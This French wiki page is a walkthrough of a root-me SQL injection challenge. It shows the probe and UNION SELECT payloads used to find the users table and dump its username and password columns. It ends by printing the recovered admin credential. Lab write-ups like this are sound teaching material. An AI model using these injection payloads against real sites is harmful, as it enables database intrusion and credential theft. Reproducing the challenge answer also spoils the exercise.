Afin de comprendre l'injection numérique, nous allons résoudre un challenge de root-me, disponible ici : http://challenge01.root-me.org/web-serveur/ch18/

En parcourant les différents liens du site, on observe les pages suivantes :
- Système de news : http://challenge01.root-me.org//web-serveur/ch18/?action=news&news_id=1
- Publication du site : http://challenge01.root-me.org//web-serveur/ch18/?action=news&news_id=2
- Bienvenu / Welcome : http://challenge01.root-me.org//web-serveur/ch18/?action=news&news_id=3

A la vue de ces liens on peut deviner que le champs injectable est news_id.

On vérifie cette hypothèse en rentrant : http://challenge01.root-me.org//web-serveur/ch18/?action=news&news_id=2%20or%20zboub

Message d'erreur :

no such column: zboub

'L'injection est donc possible !'

Notre but étant de récupérer les identifiants de l'admin, on cherche donc à pouvoir accéder à table contenant les informations des membres.

On teste donc les noms de tables usuels, on injecte donc le paramètre : '1 UNION SELECT null FROM membres'

Message d'erreur :

no such table : membres

Après quelques essais, on injecte : '1 UNION SELECT null FROM users'

Message d'erreur :

SELECTs to the left and right of UNION do not have the same number of result columns

La table users existe donc bien, cependant la table comporte plus d'une colonne, il nous faut donc ajuser la requete.

On se rend compte que la table est composé de 3 colonne en injectant : '1 UNION SELECT null,null,null FROM users' puisqu'on à plus aucun message d'erreur.

Il nous reste donc plus qu'à trouver le nom des colonnes, on injecte : '1 UNION SELECT null,username,password FROM users'

'BINGO'

admin
aTlkJYLjcbLmue3
wiki/injection_numerique.txt · Dernière modification: 2018/04/23 19:13 (modification externe)
CC0 1.0 Universal
Powered by PHP Driven by DokuWiki Recent changes RSS feed Valid CSS Valid XHTML 1.0 Valid HTML5